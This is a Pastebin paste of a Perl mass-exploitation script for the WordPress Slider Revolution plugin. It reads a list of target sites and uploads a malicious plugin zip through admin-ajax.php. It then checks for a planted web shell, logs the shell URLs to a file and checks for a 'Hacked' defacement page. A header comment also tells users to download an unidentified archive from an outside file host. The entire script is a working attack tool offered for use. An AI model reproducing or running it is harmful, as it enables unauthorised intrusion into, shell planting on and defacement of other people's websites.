CrashBandicot

Auto Exploiter Revslider Shell Upload

Nov 30th, 2014
6,544
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.35 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # ________________________________________________
  3. #|I AM NOT ALLOWED TO USE THIS TOOL        ^^^^^^^^\ |
  4. #|I AM NOT ALLOWED TO USE THIS TOOL        |       | |
  5. #|I AM NOT ALLOWED TO USE THIS TOOL        |_ __   | |
  6. #|I AM NOT ALLOWED TO USE THIS TOOL        (.(. )  | |
  7. #|I AM NOT ALLOWED TO USE THIS TOO_        (_      ) |
  8. #|                                \\       /___/' /  |
  9. #|                                _\\_      \    |   |
  10. #|                               ((   )     /====|   |
  11. #|                                \  <.__._-      \  |
  12. #|______________________________   <//___.         | |
  13. #
  14. #  
  15. #  Don't Change right Noobs :3
  16. #  +------------------------------------------------------------------------------------------------+
  17. #  |  Warning : Download This Archive .zip and past in folder Bin of Perl for Use this Script !!!!  |
  18. #  |  Link : http://www.gulfup.com/?3bDGf4 !!!!                                                     |
  19. #  |                                                                                                |
  20. #  +------------------------------------------------------------------------------------------------+
  21. #
  22. # -> Title: Auto Exploiter Slider Revolution Shell Upload
  23. # -> Author: CrashBandicot
  24. #
  25.  
  26. use LWP::UserAgent;
  27.  
  28. system(($^O eq 'MSWin32') ? 'cls' : 'clear');
  29.  
  30. head();
  31.  
  32. my $usage = " \nperl $0 <list.txt>\n perl $0 lista.txt";
  33. die "$usage" unless $ARGV[0];
  34.  
  35. open(tarrget,"<$ARGV[0]") or die "$!";
  36. while(<tarrget>){
  37. chomp($_);
  38. $target = $_;
  39.  
  40. my $path = "wp-admin/admin-ajax.php";
  41.  
  42. print "\nTarget => $target\n";
  43.  
  44. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  45. $ua->timeout(10);
  46. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  47. my $req = $ua->get("$target/$path");
  48. if($req->is_success) {
  49. print "\n  [+] Xploit Possibility Work :3\n \n";
  50.  
  51.  
  52.  
  53. print "  [*] Try Exploiting Vulnerability\n";
  54. print "  [*] Xploiting $target\n";
  55.  
  56. my $exploit = $ua->post("$target/$path", Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]);
  57.  
  58. print "  [*] Sent payload\n";
  59.  
  60. if ($exploit->decoded_content =~ /Wrong update extracted folder/) {
  61. print "  [+] Payload successfully executed\n";
  62.  
  63. print "  [*] Checking if shell was uploaded\n";
  64. my $check = $ua->get("$target/wp-content/plugins/revslider/temp/update_extract/revslider/up.php")->content;
  65. if($check =~/<br>/) {
  66.  
  67.     print "  [+] Shell successfully uploaded\n";
  68.     open(save, '>>Shells.txt');
  69.     print save "shell : $target/wp-content/plugins/revslider/temp/update_extract/revslider/up.php?zeb\n";
  70.     close(save);
  71.  
  72.  
  73. print "  [*] Checking if Deface was uploaded now\n";
  74.  
  75. my $def = $ua->get("$target/leet.html")->content;
  76. if($def = ~/Hacked/) {
  77.  
  78. print "  [+] Deface uploaded successfull\n";
  79.  
  80.  
  81. } else {print "   [-] Deface not Uploaded :/"; }
  82. } else { print "  [-] I'think Shell Not Uploaded :/\n"; }
  83. } else {
  84. print "  [-] Payload failed: Fail\n";
  85. print "\n";
  86.  
  87. }
  88. } else { print "\n [-]Xploit Fail \n"}
  89.  
  90. sub head {
  91. print "\t   +===============================================\n";
  92. print "\t   | Auto Exploiter Revslider Shell Upload \n";
  93. print "\t   | Author: CrashBandicot\n";
  94. print "\t   +===============================================\n";
  95. }
  96. }
Advertisement
Add Comment
Please, Sign In to add comment